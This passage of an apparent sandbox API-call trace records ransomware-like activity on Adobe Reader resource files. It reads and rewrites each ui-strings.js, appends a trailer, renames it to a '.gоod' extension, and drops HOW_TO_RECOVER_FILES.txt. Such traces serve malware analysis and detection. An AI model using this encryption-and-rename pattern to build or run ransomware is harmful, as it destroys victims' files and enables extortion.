dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.060] GetFileType (hFile=0x644) returned 0x1 [0165.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.060] GetFileType (hFile=0x644) returned 0x1 [0165.060] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0165.060] ReadFile (in: hFile=0x644, lpBuffer=0x3511ab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3511ab8*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0165.061] CloseHandle (hObject=0x644) returned 1 [0165.061] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.061] GetFileType (hFile=0x644) returned 0x1 [0165.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.062] GetFileType (hFile=0x644) returned 0x1 [0165.062] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3fcc [0165.062] WriteFile (in: hFile=0x644, lpBuffer=0x3512df0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3512df0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0165.062] CloseHandle (hObject=0x644) returned 1 [0165.063] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.063] GetFileType (hFile=0x644) returned 0x1 [0165.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.063] GetFileType (hFile=0x644) returned 0x1 [0165.063] ReadFile (in: hFile=0x644, lpBuffer=0x3515110, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3515110*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0165.135] CloseHandle (hObject=0x644) returned 1 [0165.135] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.135] GetFileType (hFile=0x644) returned 0x1 [0165.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.135] GetFileType (hFile=0x644) returned 0x1 [0165.136] WriteFile (in: hFile=0x644, lpBuffer=0x3399ba0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3399ba0*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0165.136] CloseHandle (hObject=0x644) returned 1 [0165.136] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.136] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0165.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0165.136] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5ea50068, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc)) returned 1 [0165.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0165.136] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\ui-strings.js.gоod")) returned 1 [0165.137] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0165.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0165.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ko-kr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0165.138] GetFileType (hFile=0x644) returned 0x1 [0165.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0165.138] GetFileType (hFile=0x644) returned 0x1 [0165.139] WriteFile (in: hFile=0x644, lpBuffer=0x33a2230*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x33a2230*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0165.139] CloseHandle (hObject=0x644) returned 1 [0165.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0165.140] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no", lpFilePart=0x0) returned 0x69 [0165.140] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0165.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0165.140] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.140] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0165.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0165.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0165.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0165.140] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no", lpFilePart=0x0) returned 0x69 [0165.141] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0165.141] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.141] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0165.141] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0165.141] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0165.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0165.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0165.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0165.141] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x33b3488 | out: lpFileInformation=0x33b3488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf)) returned 1 [0165.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0165.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.142] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.142] GetFileType (hFile=0x644) returned 0x1 [0165.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.142] GetFileType (hFile=0x644) returned 0x1 [0165.142] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0165.142] ReadFile (in: hFile=0x644, lpBuffer=0x33b3960, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x33b3960*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0165.144] CloseHandle (hObject=0x644) returned 1 [0165.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.144] GetFileType (hFile=0x644) returned 0x1 [0165.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.144] GetFileType (hFile=0x644) returned 0x1 [0165.144] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x39bf [0165.144] WriteFile (in: hFile=0x644, lpBuffer=0x33b4cf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x33b4cf8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0165.145] CloseHandle (hObject=0x644) returned 1 [0165.145] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.145] GetFileType (hFile=0x644) returned 0x1 [0165.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.146] GetFileType (hFile=0x644) returned 0x1 [0165.146] ReadFile (in: hFile=0x644, lpBuffer=0x33b7048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x33b7048*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0165.178] CloseHandle (hObject=0x644) returned 1 [0165.178] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0165.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0165.178] GetFileType (hFile=0x644) returned 0x1 [0165.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0165.179] GetFileType (hFile=0x644) returned 0x1 [0165.179] WriteFile (in: hFile=0x644, lpBuffer=0x33b5d40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x33b5d40*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0165.179] CloseHandle (hObject=0x644) returned 1 [0165.179] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0165.179] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0165.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0165.179] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5ea9c5b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x39cf)) returned 1 [0165.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0165.179] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js.gоod")) returned 1 [0167.140] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 